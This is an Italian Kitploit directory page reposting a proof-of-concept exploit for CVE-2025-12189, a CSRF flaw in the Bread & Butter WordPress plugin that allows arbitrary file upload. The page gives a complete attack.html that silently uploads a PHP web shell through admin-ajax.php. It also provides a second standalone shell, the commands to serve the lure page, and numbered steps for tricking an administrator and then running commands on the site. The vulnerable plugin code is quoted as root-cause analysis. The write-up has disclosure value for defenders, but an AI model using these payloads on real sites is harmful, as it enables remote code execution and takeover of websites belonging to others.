Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-12189 — Bread & Butter: Proteggi i contenuti + Cattura lead + Raccogli dati di prima parte + Coltiva con agenti AI <= 7.10.1321 - Cross-Site Request Forgery a caricamento arbitrario di file | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-12189
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: Proteggi i contenuti + Cattura lead + Raccogli dati di prima parte + Coltiva con agenti AI <= 7.10.1321 - Cross-Site Request Forgery a caricamento arbitrario di file

Vedi Repository
9 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Bread & Butter: Contenuti riservati + Cattura lead + Raccogli dati di prima parte + Nutri con agenti AI <= 7.10.1321 - Cross-Site Request Forgery per il Caricamento Arbitrario di File

Il plugin Bread & Butter IO contiene una vulnerabilità nella funzionalità di caricamento delle immagini che consente a qualsiasi attaccante di indurre gli amministratori autenticati a caricare file arbitrari sul server, inclusi web shell PHP, portando a esecuzione remota di codice (RCE). La vulnerabilità deriva dalla funzione uploadImage() che manca di protezione CSRF, consentendo agli attaccanti di creare richieste dannose che i browser degli amministratori eseguiranno automaticamente.

La vulnerabilità è presente nella funzione uploadImage() in /bread-butter/src/Base/Ajax.php, che non esegue una corretta validazione dei file e non ha protezione CSRF, utilizzando file_put_contents() per scrivere i file direttamente nella directory di upload di WordPress prima di qualsiasi controllo di sicurezza.

In Breve: Exploit

  • Di seguito è fornito un POC attack.html per dimostrare lo sfruttamento del caricamento di file tramite CSRF.
  • È fornito anche un esempio più realistico: email-lure.html

Ecco il semplice attack.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

Per un POC puoi eseguirlo localmente con qualcosa del genere:

root@kitploit:~
# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Una volta effettuato l'accesso come amministratore nel browser della vittima, il clic sul link porta a RCE.

Dettagli della Vulnerabilità

Analisi della Causa Principale

La vulnerabilità è presente nella funzione uploadImage() alla riga 411 di /bread-butter/src/Base/Ajax.php:

root@kitploit:~
public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

Registrazione dell'Handler AJAX

La funzione vulnerabile è registrata come handler AJAX di WordPress alla riga 95:

root@kitploit:~
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

Dove self::$uploadImage è definito come upload_image alla riga 37.

Controllo di Autorizzazione

L'unico controllo di sicurezza è il metodo checkAdmin() alle righe 166-171:

root@kitploit:~
public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

Sfruttamento CSRF

La mancanza di protezione CSRF rende questa vulnerabilità sfruttabile tramite attacchi Cross-Site Request Forgery. Il POC attack.html lo dimostra:

  1. Creando un modulo dannoso che punta all'endpoint AJAX di WordPress
  2. Utilizzando target="_blank" per bypassare le restrizioni CORS
  3. Incorporando una web shell PHP direttamente in HTML/JavaScript
  4. Inviando automaticamente il modulo quando la vittima fa clic sul pulsante

Riproduzione Manuale

Sfruttamento da CSRF a RCE

  1. Creare una pagina HTML con il payload CSRF (vedi attack.html)
  2. Servire la pagina su qualsiasi web server (controllato dall'attaccante)
  3. Indurre un amministratore a visitare la pagina dannosa
  4. Il browser dell'amministratore invierà automaticamente il modulo
  5. Il file dannoso verrà caricato sul sito WordPress
  6. Accedere alla shell caricata su /wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Sfruttamento Diretto (Richiede Amministratore)

  1. Accedere al pannello di amministrazione WordPress con privilegi di amministratore
  2. Andare alle impostazioni del plugin Bread & Butter
  3. Usare la funzionalità di caricamento immagini o inviare una richiesta AJAX diretta a /wp-admin/admin-ajax.php
  4. Caricare un file PHP con contenuto dannoso:
root@kitploit:~
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. Accedere al file caricato su /wp-content/uploads/[year]/[month]/[filename].php
Scarica lo strumento